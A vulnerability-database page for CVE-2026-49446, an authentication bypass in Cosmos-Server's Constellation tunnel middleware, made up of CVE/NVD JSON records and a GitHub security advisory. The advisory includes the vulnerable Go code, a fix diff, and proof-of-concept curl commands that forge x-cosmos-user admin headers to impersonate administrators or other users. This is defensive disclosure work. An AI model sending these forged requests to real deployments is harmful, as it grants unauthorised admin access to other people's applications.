Vulnerability-Lookup

CVE-2026-49446 (GCVE-0-2026-49446)

Vulnerability from cvelistv5 – Published: 2026-09-15 14:31 – Updated: 2026-09-15 14:50

Title

Cosmos: Authentication bypass via forward-auth header smuggling on Constellation tunnel in Cosmos-Server

Summary

Cosmos provides users the ability self-host a home server by acting as a secure gateway to your application, as well as a server manager. Prior to 0.22.19, tokenMiddleware in src/proxy/routerGen.go can return through the Constellation tunnel bypass before removing x-cosmos-user, x-cosmos-role, x-cosmos-user-role, and x-cosmos-mfa headers and before invoking AdminOnlyWithRedirect. An attacker with a valid x-cstln-auth API key for an enrolled device who reaches Cosmos through the Constellation Nebula tunnel can supply a chosen x-cosmos-user value to a route with AuthEnabled enabled when the upstream application trusts that forward-auth header. The request can bypass Cosmos JWT, password, MFA, and AdminOnly checks, allowing user impersonation and admin-tier reads or writes exposed by the proxied application. This issue is fixed in version 0.22.19.

Severity

6.1 (Medium)


                        
                          CVSS:3.1/AV:A/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N

SSVC

Exploitation: poc Automatable: no Technical Impact: total

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-09-15 14:50 UTC

CWE

CWE-285 - Improper Authorization
CWE-290 - Authentication Bypass by Spoofing

Assigner

GitHub_M mitre root

References

3 references

URL	Tags
https://github.com/azukaar/Cosmos-Server/security…	x_refsource_CONFIRM
https://github.com/azukaar/Cosmos-Server/commit/5…	x_refsource_MISC
https://github.com/azukaar/Cosmos-Server/releases…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version	CPE status
azukaar	Cosmos-Server	Affected: < 0.22.19	guessed

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-49446",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-09-15T14:50:32.130417Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-09-15T14:50:54.216Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/azukaar/Cosmos-Server/security/advisories/GHSA-2rx5-2g7j-2659"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "Cosmos-Server",
          "vendor": "azukaar",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 0.22.19"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Cosmos provides users the ability self-host a home server by acting as a secure gateway to your application, as well as a server manager. Prior to 0.22.19, tokenMiddleware in src/proxy/routerGen.go can return through the Constellation tunnel bypass before removing x-cosmos-user, x-cosmos-role, x-cosmos-user-role, and x-cosmos-mfa headers and before invoking AdminOnlyWithRedirect. An attacker with a valid x-cstln-auth API key for an enrolled device who reaches Cosmos through the Constellation Nebula tunnel can supply a chosen x-cosmos-user value to a route with AuthEnabled enabled when the upstream application trusts that forward-auth header. The request can bypass Cosmos JWT, password, MFA, and AdminOnly checks, allowing user impersonation and admin-tier reads or writes exposed by the proxied application. This issue is fixed in version 0.22.19."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "ADJACENT_NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 6.1,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "HIGH",
            "privilegesRequired": "HIGH",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:A/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-285",
              "description": "CWE-285: Improper Authorization",
              "lang": "en",
              "type": "CWE"
            }
          ]
        },
        {
          "descriptions": [
            {
              "cweId": "CWE-290",
              "description": "CWE-290: Authentication Bypass by Spoofing",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-15T14:31:24.778Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/azukaar/Cosmos-Server/security/advisories/GHSA-2rx5-2g7j-2659",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/azukaar/Cosmos-Server/security/advisories/GHSA-2rx5-2g7j-2659"
        },
        {
          "name": "https://github.com/azukaar/Cosmos-Server/commit/59c561d686c8f9843b3e092b50f6346c481d8bbf",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/azukaar/Cosmos-Server/commit/59c561d686c8f9843b3e092b50f6346c481d8bbf"
        },
        {
          "name": "https://github.com/azukaar/Cosmos-Server/releases/tag/v0.22.19",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/azukaar/Cosmos-Server/releases/tag/v0.22.19"
        }
      ],
      "source": {
        "advisory": "GHSA-2rx5-2g7j-2659",
        "discovery": "UNKNOWN"
      },
      "title": "Cosmos: Authentication bypass via forward-auth header smuggling on Constellation tunnel in Cosmos-Server"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-49446",
    "datePublished": "2026-09-15T14:31:24.778Z",
    "dateReserved": "2026-05-30T02:43:33.106Z",
    "dateUpdated": "2026-09-15T14:50:54.216Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2",
  "vulnerability-lookup:meta": {
    "epss": {
      "cve": "CVE-2026-49446",
      "date": "2026-09-18",
      "epss": "0.00285",
      "percentile": "0.21243"
    },
    "nvd": {
      "cve": {
        "affected": [
          {
            "affectedData": [
              {
                "product": "Cosmos-Server",
                "vendor": "azukaar",
                "versions": [
                  {
                    "status": "affected",
                    "version": "\u003c 0.22.19"
                  }
                ]
              }
            ],
            "source": "security-advisories@github.com"
          }
        ],
        "cveTags": [],
        "descriptions": [
          {
            "lang": "en",
            "value": "Cosmos provides users the ability self-host a home server by acting as a secure gateway to your application, as well as a server manager. Prior to 0.22.19, tokenMiddleware in src/proxy/routerGen.go can return through the Constellation tunnel bypass before removing x-cosmos-user, x-cosmos-role, x-cosmos-user-role, and x-cosmos-mfa headers and before invoking AdminOnlyWithRedirect. An attacker with a valid x-cstln-auth API key for an enrolled device who reaches Cosmos through the Constellation Nebula tunnel can supply a chosen x-cosmos-user value to a route with AuthEnabled enabled when the upstream application trusts that forward-auth header. The request can bypass Cosmos JWT, password, MFA, and AdminOnly checks, allowing user impersonation and admin-tier reads or writes exposed by the proxied application. This issue is fixed in version 0.22.19."
          }
        ],
        "id": "CVE-2026-49446",
        "lastModified": "2026-09-15T15:17:16.747",
        "metrics": {
          "cvssMetricV31": [
            {
              "cvssData": {
                "attackComplexity": "LOW",
                "attackVector": "ADJACENT_NETWORK",
                "availabilityImpact": "NONE",
                "baseScore": 6.1,
                "baseSeverity": "MEDIUM",
                "confidentialityImpact": "HIGH",
                "integrityImpact": "HIGH",
                "privilegesRequired": "HIGH",
                "scope": "UNCHANGED",
                "userInteraction": "NONE",
                "vectorString": "CVSS:3.1/AV:A/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N",
                "version": "3.1"
              },
              "exploitabilityScore": 0.9,
              "impactScore": 5.2,
              "source": "security-advisories@github.com",
              "type": "Secondary"
            }
          ],
          "ssvcV203": [
            {
              "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
              "ssvcData": {
                "id": "CVE-2026-49446",
                "options": [
                  {
                    "exploitation": "poc"
                  },
                  {
                    "automatable": "no"
                  },
                  {
                    "technicalImpact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-09-15T14:50:32.130417Z",
                "version": "2.0.3"
              }
            }
          ]
        },
        "published": "2026-09-15T15:17:16.747",
        "references": [
          {
            "source": "security-advisories@github.com",
            "url": "https://github.com/azukaar/Cosmos-Server/commit/59c561d686c8f9843b3e092b50f6346c481d8bbf"
          },
          {
            "source": "security-advisories@github.com",
            "url": "https://github.com/azukaar/Cosmos-Server/releases/tag/v0.22.19"
          },
          {
            "source": "security-advisories@github.com",
            "url": "https://github.com/azukaar/Cosmos-Server/security/advisories/GHSA-2rx5-2g7j-2659"
          },
          {
            "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
            "url": "https://github.com/azukaar/Cosmos-Server/security/advisories/GHSA-2rx5-2g7j-2659"
          }
        ],
        "sourceIdentifier": "security-advisories@github.com",
        "vulnStatus": "Received",
        "weaknesses": [
          {
            "description": [
              {
                "lang": "en",
                "value": "CWE-285"
              },
              {
                "lang": "en",
                "value": "CWE-290"
              }
            ],
            "source": "security-advisories@github.com",
            "type": "Primary"
          }
        ]
      }
    },
    "suse_vex": {
      "aggregate_severity": "moderate",
      "current_release_date": "2026-09-16T00:12:14Z",
      "cve": "CVE-2026-49446",
      "id": "CVE-2026-49446",
      "initial_release_date": "2026-09-05T00:32:57Z",
      "source": "SUSE CSAF VEX",
      "status": "interim",
      "title": "SUSE CVE CVE-2026-49446",
      "url": "https://ftp.suse.com/pub/projects/security/csaf-vex/cve-2026-49446.json",
      "version": "3"
    },
    "vulnrichment": {
      "containers": {
        "adp": [
          {
            "metrics": [
              {
                "other": {
                  "content": {
                    "id": "CVE-2026-49446",
                    "options": [
                      {
                        "Exploitation": "poc"
                      },
                      {
                        "Automatable": "no"
                      },
                      {
                        "Technical Impact": "total"
                      }
                    ],
                    "role": "CISA Coordinator",
                    "timestamp": "2026-09-15T14:50:32.130417Z",
                    "version": "2.0.3"
                  },
                  "type": "ssvc"
                }
              }
            ],
            "providerMetadata": {
              "dateUpdated": "2026-09-15T14:50:50.514Z",
              "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
              "shortName": "CISA-ADP"
            },
            "references": [
              {
                "tags": [
                  "exploit"
                ],
                "url": "https://github.com/azukaar/Cosmos-Server/security/advisories/GHSA-2rx5-2g7j-2659"
              }
            ],
            "title": "CISA ADP Vulnrichment"
          }
        ],
        "cna": {
          "affected": [
            {
              "product": "Cosmos-Server",
              "vendor": "azukaar",
              "versions": [
                {
                  "status": "affected",
                  "version": "\u003c 0.22.19"
                }
              ]
            }
          ],
          "descriptions": [
            {
              "lang": "en",
              "value": "Cosmos provides users the ability self-host a home server by acting as a secure gateway to your application, as well as a server manager. Prior to 0.22.19, tokenMiddleware in src/proxy/routerGen.go can return through the Constellation tunnel bypass before removing x-cosmos-user, x-cosmos-role, x-cosmos-user-role, and x-cosmos-mfa headers and before invoking AdminOnlyWithRedirect. An attacker with a valid x-cstln-auth API key for an enrolled device who reaches Cosmos through the Constellation Nebula tunnel can supply a chosen x-cosmos-user value to a route with AuthEnabled enabled when the upstream application trusts that forward-auth header. The request can bypass Cosmos JWT, password, MFA, and AdminOnly checks, allowing user impersonation and admin-tier reads or writes exposed by the proxied application. This issue is fixed in version 0.22.19."
            }
          ],
          "metrics": [
            {
              "cvssV3_1": {
                "attackComplexity": "LOW",
                "attackVector": "ADJACENT_NETWORK",
                "availabilityImpact": "NONE",
                "baseScore": 6.1,
                "baseSeverity": "MEDIUM",
                "confidentialityImpact": "HIGH",
                "integrityImpact": "HIGH",
                "privilegesRequired": "HIGH",
                "scope": "UNCHANGED",
                "userInteraction": "NONE",
                "vectorString": "CVSS:3.1/AV:A/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N",
                "version": "3.1"
              }
            }
          ],
          "problemTypes": [
            {
              "descriptions": [
                {
                  "cweId": "CWE-285",
                  "description": "CWE-285: Improper Authorization",
                  "lang": "en",
                  "type": "CWE"
                }
              ]
            },
            {
              "descriptions": [
                {
                  "cweId": "CWE-290",
                  "description": "CWE-290: Authentication Bypass by Spoofing",
                  "lang": "en",
                  "type": "CWE"
                }
              ]
            }
          ],
          "providerMetadata": {
            "dateUpdated": "2026-09-15T14:31:24.778Z",
            "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
            "shortName": "GitHub_M"
          },
          "references": [
            {
              "name": "https://github.com/azukaar/Cosmos-Server/security/advisories/GHSA-2rx5-2g7j-2659",
              "tags": [
                "x_refsource_CONFIRM"
              ],
              "url": "https://github.com/azukaar/Cosmos-Server/security/advisories/GHSA-2rx5-2g7j-2659"
            },
            {
              "name": "https://github.com/azukaar/Cosmos-Server/commit/59c561d686c8f9843b3e092b50f6346c481d8bbf",
              "tags": [
                "x_refsource_MISC"
              ],
              "url": "https://github.com/azukaar/Cosmos-Server/commit/59c561d686c8f9843b3e092b50f6346c481d8bbf"
            },
            {
              "name": "https://github.com/azukaar/Cosmos-Server/releases/tag/v0.22.19",
              "tags": [
                "x_refsource_MISC"
              ],
              "url": "https://github.com/azukaar/Cosmos-Server/releases/tag/v0.22.19"
            }
          ],
          "source": {
            "advisory": "GHSA-2rx5-2g7j-2659",
            "discovery": "UNKNOWN"
          },
          "title": "Cosmos: Authentication bypass via forward-auth header smuggling on Constellation tunnel in Cosmos-Server"
        }
      },
      "cveMetadata": {
        "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "assignerShortName": "GitHub_M",
        "cveId": "CVE-2026-49446",
        "datePublished": "2026-09-15T14:31:24.778Z",
        "dateReserved": "2026-05-30T02:43:33.106Z",
        "dateUpdated": "2026-09-15T14:50:54.216Z",
        "state": "PUBLISHED"
      },
      "dataType": "CVE_RECORD",
      "dataVersion": "5.2"
    }
  }
}

FKIE_CVE-2026-49446

Vulnerability from fkie_nvd - Published: 2026-09-15 15:17 - Updated: 2026-09-15 15:17

Severity

6.1 (Medium) - CVSS:3.1/AV:A/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/azukaar/Cosmos-Server/commit/59c561d686c8f9843b3e092b50f6346c481d8bbf
	security-advisories@github.com	https://github.com/azukaar/Cosmos-Server/releases/tag/v0.22.19
	security-advisories@github.com	https://github.com/azukaar/Cosmos-Server/security/advisories/GHSA-2rx5-2g7j-2659
	134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/azukaar/Cosmos-Server/security/advisories/GHSA-2rx5-2g7j-2659

Impacted products

	Vendor	Product	Version

JSON

To clipboard

{
  "affected": [
    {
      "affectedData": [
        {
          "product": "Cosmos-Server",
          "vendor": "azukaar",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 0.22.19"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Cosmos provides users the ability self-host a home server by acting as a secure gateway to your application, as well as a server manager. Prior to 0.22.19, tokenMiddleware in src/proxy/routerGen.go can return through the Constellation tunnel bypass before removing x-cosmos-user, x-cosmos-role, x-cosmos-user-role, and x-cosmos-mfa headers and before invoking AdminOnlyWithRedirect. An attacker with a valid x-cstln-auth API key for an enrolled device who reaches Cosmos through the Constellation Nebula tunnel can supply a chosen x-cosmos-user value to a route with AuthEnabled enabled when the upstream application trusts that forward-auth header. The request can bypass Cosmos JWT, password, MFA, and AdminOnly checks, allowing user impersonation and admin-tier reads or writes exposed by the proxied application. This issue is fixed in version 0.22.19."
    }
  ],
  "id": "CVE-2026-49446",
  "lastModified": "2026-09-15T15:17:16.747",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "ADJACENT_NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 6.1,
          "baseSeverity": "MEDIUM",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "HIGH",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:A/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 0.9,
        "impactScore": 5.2,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-49446",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "no"
            },
            {
              "technicalImpact": "total"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-09-15T14:50:32.130417Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-09-15T15:17:16.747",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/azukaar/Cosmos-Server/commit/59c561d686c8f9843b3e092b50f6346c481d8bbf"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/azukaar/Cosmos-Server/releases/tag/v0.22.19"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/azukaar/Cosmos-Server/security/advisories/GHSA-2rx5-2g7j-2659"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "url": "https://github.com/azukaar/Cosmos-Server/security/advisories/GHSA-2rx5-2g7j-2659"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Received",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-285"
        },
        {
          "lang": "en",
          "value": "CWE-290"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Primary"
    }
  ]
}

GHSA-2RX5-2G7J-2659

Vulnerability from github – Published: 2026-07-28 20:44 – Updated: 2026-07-28 20:44

Summary

Cosmos-Server has an authentication bypass via forward-auth header smuggling on Constellation tunnel

Details

Summary

The Constellation-tunnel bypass branch in tokenMiddleware at src/proxy/routerGen.go:53-66 returns to the upstream handler before the request's x-cosmos-user, x-cosmos-role, x-cosmos-user-role, and x-cosmos-mfa headers are stripped at lines 68-72, and before the AdminOnlyWithRedirect gate at lines 109-117 runs. Any holder of a valid Constellation device API key sends x-cosmos-user: admin to a proxied backend; the documented forward-auth integration treats the caller as admin with no JWT cookie, password, or MFA.

Preconditions

Cosmos is deployed with Constellation enabled and at least one device enrolled.
Attacker holds a valid x-cstln-auth API key for an enrolled device.
Attacker reaches Cosmos over the Constellation Nebula tunnel.
Target proxy route has AuthEnabled=true; upstream trusts the x-cosmos-user forward-auth header.

Details

// src/proxy/routerGen.go:46-122 - bypass returns before headers are reset
func tokenMiddleware(route utils.ProxyRouteConfig) func(next http.Handler) http.Handler {
    return func(next http.Handler) http.Handler {
        return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
            enabled := route.AuthEnabled
            adminOnly := route.AdminOnly

            // bypass auth if from Constellation tunnel
            if ((enabled && r.Header.Get("x-cosmos-user") != "") || !enabled) {  // attacker-set header opens the branch
                remoteAddr, _ := utils.SplitIP(r.RemoteAddr)
                isConstIP := constellation.IsConstellationIP(remoteAddr)
                isConstTokenValid := constellation.CheckConstellationToken(r) == nil

                if isConstIP && isConstTokenValid {
                    utils.Debug("Bypassing auth for Constellation tunnel")
                    r.Header.Del("x-cstln-auth")
                    next.ServeHTTP(w, r)  // forwards x-cosmos-user as set by attacker
                    return
                }
            }

            r.Header.Del("x-cosmos-user")    // only runs on the fall-through path
            r.Header.Del("x-cosmos-role")
            r.Header.Del("x-cosmos-user-role")
            r.Header.Del("x-cosmos-mfa")
            r.Header.Del("x-cstln-auth")
            // ... JWT path runs here ...

            if enabled && adminOnly {
                if errT := AdminOnlyWithRedirect(w, r, route); errT != nil {  // also skipped by bypass
                    return
                }
            }
            next.ServeHTTP(w, r)
        })
    }
}

The branch was written for tunneled-cluster traffic where an upstream Cosmos instance has already authenticated the user and signed the x-cosmos-user header itself. The branch condition reads the header before the strip block runs at lines 68-72, so any client can open the branch by sending the header. The Constellation IP and API-key checks then gate progression, but a Constellation device holder satisfies both: the API key was issued by the admin when the device was enrolled, and the tunnel terminates with the device's Constellation IP as the TCP source. Once the branch is taken, the original x-cosmos-user value flows to the backend untouched, and AdminOnlyWithRedirect is never invoked. Backends configured per Cosmos's documented forward-auth integration (the standard pattern for "Cosmos in front of an app that reads identity from a header") treat the attacker's chosen string as the authenticated identity.

The Constellation network is sold as a way for an operator to invite family and friends without exposing ports. Those invited members hold device API keys but are not Cosmos administrators - the trust boundary this bug crosses is exactly the "invited member -> admin role on a proxied app" line.

Proof of concept

Environment used to reproduce:

Version: master branch, audited 2026-05-13 (module github.com/azukaar/cosmos-server)
Deployment: docker run azukaar/cosmos-server:latest (or the docker-compose.yml from the project README)
Setup steps:
Complete initial setup via /cosmos-ui/; promote the operator account to admin.
Enable Constellation: Settings > Constellation > Create lighthouse.
Enrol a device under a non-admin user: Constellation > Devices > Create. Save the device profile and the displayed API key.
Configure one proxy route with Host=admin-app.example, Mode=PROXY, Target=http://internal-app:port, AuthEnabled=true, AdminOnly=true. Upstream must trust the x-cosmos-user header (the documented Cosmos forward-auth integration, e.g. an internal admin panel that reads identity from that header).
Attacker connects to the Nebula tunnel with the issued device profile, so the request's TCP source is the device's Constellation IP.

# 1. Variables - fill in from the steps above
DEVICE_APIKEY="<APIKey shown when admin created the device>"
PROXY_ROUTE="https://admin-app.example"

# 2. Single request that bypasses Cosmos auth and asserts admin to the backend
curl -k \
     -H "x-cstln-auth: Bearer $DEVICE_APIKEY" \
     -H "x-cosmos-user: admin" \
     -H "x-cosmos-role: 2" \
     -H "x-cosmos-user-role: 2" \
     -H "x-cosmos-mfa: 0" \
     "$PROXY_ROUTE/" -i

# Expected: HTTP 200 with the admin-gated backend rendering as user "admin".
# No JWT cookie was sent; no admin Cosmos account is held by the caller.
# Cosmos's debug log shows: "Bypassing auth for Constellation tunnel".

A second request demonstrates cross-user impersonation on the same backend by changing the asserted identity:

curl -k \
     -H "x-cstln-auth: Bearer $DEVICE_APIKEY" \
     -H "x-cosmos-user: someotheruser" \
     "$PROXY_ROUTE/" -i
# Backend renders as "someotheruser"; any per-user data partitioning at the
# backend is now under attacker control.

Impact

AuthN: bypasses Cosmos JWT login, password, and MFA for any holder of a Constellation device key.
AuthZ: skips the per-route AdminOnly gate, unlocking admin-only proxied backends.
Confidentiality: caller reads every admin-only proxied app as admin from one curl.
Integrity: caller performs any admin-tier write the backend exposes via the forward-auth identity.
Affected population: every Cosmos deployment with Constellation enabled, at least one enrolled device, and one or more proxy routes integrated via the documented x-cosmos-user header.

Suggestions to fix

This has not been tested - it is illustrative only.

Strip the identity headers unconditionally at function entry so they cannot open the bypass branch, and keep the AdminOnly gate on the Constellation path. The branch should only fire for routes that are explicitly AuthEnabled=false - on auth-required routes the JWT path must always run so the proxy itself is the sole authority that writes x-cosmos-user.

--- a/src/proxy/routerGen.go
+++ b/src/proxy/routerGen.go
@@ -46,15 +46,17 @@
 func tokenMiddleware(route utils.ProxyRouteConfig) func(next http.Handler) http.Handler {
        return func(next http.Handler) http.Handler {
                return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
+                       // Always strip identity headers before any decision based on them.
+                       r.Header.Del("x-cosmos-user")
+                       r.Header.Del("x-cosmos-role")
+                       r.Header.Del("x-cosmos-user-role")
+                       r.Header.Del("x-cosmos-mfa")
+
                        enabled := route.AuthEnabled
                        adminOnly := route.AdminOnly

-                       // bypass auth if from Constellation tunnel
-                       if ((enabled && r.Header.Get("x-cosmos-user") != "") || !enabled) {
+                       // Constellation bypass only applies to non-auth routes; on auth-required
+                       // routes the JWT path is the sole authority that may set x-cosmos-user.
+                       if !enabled {
                                remoteAddr, _ := utils.SplitIP(r.RemoteAddr)
                                isConstIP := constellation.IsConstellationIP(remoteAddr)
                                isConstTokenValid := constellation.CheckConstellationToken(r) == nil
@@ -65,12 +67,7 @@
                                        return
                                }
                        }
-
-                       r.Header.Del("x-cosmos-user")
-                       r.Header.Del("x-cosmos-role")
-                       r.Header.Del("x-cosmos-user-role")
-                       r.Header.Del("x-cosmos-mfa")
                        r.Header.Del("x-cstln-auth")

Defence in depth: document that backends downstream of Cosmos must not accept x-cosmos-user over an untrusted hop. Bind the trust to a mutual TLS leg or a shared HMAC over <x-cosmos-user, request-id, timestamp> injected by the proxy and verified by the backend.

Regression test: add a unit test against tokenMiddleware asserting that a request bearing x-cosmos-user: admin and a valid x-cstln-auth reaches the next handler with r.Header.Get("x-cosmos-user") == "" whenever route.AuthEnabled == true.

Severity

6.1 (Medium)


                  
                    CVSS:3.1/AV:A/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.22.18"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/azukaar/cosmos-server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.22.19"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-49446"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-285",
      "CWE-290"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-28T20:44:33Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nThe Constellation-tunnel bypass branch in `tokenMiddleware` at `src/proxy/routerGen.go:53-66` returns to the upstream handler before the request\u0027s `x-cosmos-user`, `x-cosmos-role`, `x-cosmos-user-role`, and `x-cosmos-mfa` headers are stripped at lines 68-72, and before the `AdminOnlyWithRedirect` gate at lines 109-117 runs. Any holder of a valid Constellation device API key sends `x-cosmos-user: admin` to a proxied backend; the documented forward-auth integration treats the caller as admin with no JWT cookie, password, or MFA.\n\n### Preconditions\n\n- Cosmos is deployed with Constellation enabled and at least one device enrolled.\n- Attacker holds a valid `x-cstln-auth` API key for an enrolled device.\n- Attacker reaches Cosmos over the Constellation Nebula tunnel.\n- Target proxy route has `AuthEnabled=true`; upstream trusts the `x-cosmos-user` forward-auth header.\n\n### Details\n\n```go\n// src/proxy/routerGen.go:46-122 - bypass returns before headers are reset\nfunc tokenMiddleware(route utils.ProxyRouteConfig) func(next http.Handler) http.Handler {\n    return func(next http.Handler) http.Handler {\n        return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n            enabled := route.AuthEnabled\n            adminOnly := route.AdminOnly\n\n            // bypass auth if from Constellation tunnel\n            if ((enabled \u0026\u0026 r.Header.Get(\"x-cosmos-user\") != \"\") || !enabled) {  // attacker-set header opens the branch\n                remoteAddr, _ := utils.SplitIP(r.RemoteAddr)\n                isConstIP := constellation.IsConstellationIP(remoteAddr)\n                isConstTokenValid := constellation.CheckConstellationToken(r) == nil\n\n                if isConstIP \u0026\u0026 isConstTokenValid {\n                    utils.Debug(\"Bypassing auth for Constellation tunnel\")\n                    r.Header.Del(\"x-cstln-auth\")\n                    next.ServeHTTP(w, r)  // forwards x-cosmos-user as set by attacker\n                    return\n                }\n            }\n\n            r.Header.Del(\"x-cosmos-user\")    // only runs on the fall-through path\n            r.Header.Del(\"x-cosmos-role\")\n            r.Header.Del(\"x-cosmos-user-role\")\n            r.Header.Del(\"x-cosmos-mfa\")\n            r.Header.Del(\"x-cstln-auth\")\n            // ... JWT path runs here ...\n\n            if enabled \u0026\u0026 adminOnly {\n                if errT := AdminOnlyWithRedirect(w, r, route); errT != nil {  // also skipped by bypass\n                    return\n                }\n            }\n            next.ServeHTTP(w, r)\n        })\n    }\n}\n```\n\nThe branch was written for tunneled-cluster traffic where an upstream Cosmos instance has already authenticated the user and signed the `x-cosmos-user` header itself. The branch condition reads the header before the strip block runs at lines 68-72, so any client can open the branch by sending the header. The Constellation IP and API-key checks then gate progression, but a Constellation device holder satisfies both: the API key was issued by the admin when the device was enrolled, and the tunnel terminates with the device\u0027s Constellation IP as the TCP source. Once the branch is taken, the original `x-cosmos-user` value flows to the backend untouched, and `AdminOnlyWithRedirect` is never invoked. Backends configured per Cosmos\u0027s documented forward-auth integration (the standard pattern for \"Cosmos in front of an app that reads identity from a header\") treat the attacker\u0027s chosen string as the authenticated identity.\n\nThe Constellation network is sold as a way for an operator to invite family and friends without exposing ports. Those invited members hold device API keys but are not Cosmos administrators - the trust boundary this bug crosses is exactly the \"invited member -\u003e admin role on a proxied app\" line.\n\n### Proof of concept\n\nEnvironment used to reproduce:\n\n- Version: `master` branch, audited 2026-05-13 (module `github.com/azukaar/cosmos-server`)\n- Deployment: `docker run azukaar/cosmos-server:latest` (or the `docker-compose.yml` from the project README)\n- Setup steps:\n  1. Complete initial setup via `/cosmos-ui/`; promote the operator account to admin.\n  2. Enable Constellation: Settings \u003e Constellation \u003e Create lighthouse.\n  3. Enrol a device under a non-admin user: Constellation \u003e Devices \u003e Create. Save the device profile and the displayed API key.\n  4. Configure one proxy route with `Host=admin-app.example`, `Mode=PROXY`, `Target=http://internal-app:port`, `AuthEnabled=true`, `AdminOnly=true`. Upstream must trust the `x-cosmos-user` header (the documented Cosmos forward-auth integration, e.g. an internal admin panel that reads identity from that header).\n  5. Attacker connects to the Nebula tunnel with the issued device profile, so the request\u0027s TCP source is the device\u0027s Constellation IP.\n\n```bash\n# 1. Variables - fill in from the steps above\nDEVICE_APIKEY=\"\u003cAPIKey shown when admin created the device\u003e\"\nPROXY_ROUTE=\"https://admin-app.example\"\n\n# 2. Single request that bypasses Cosmos auth and asserts admin to the backend\ncurl -k \\\n     -H \"x-cstln-auth: Bearer $DEVICE_APIKEY\" \\\n     -H \"x-cosmos-user: admin\" \\\n     -H \"x-cosmos-role: 2\" \\\n     -H \"x-cosmos-user-role: 2\" \\\n     -H \"x-cosmos-mfa: 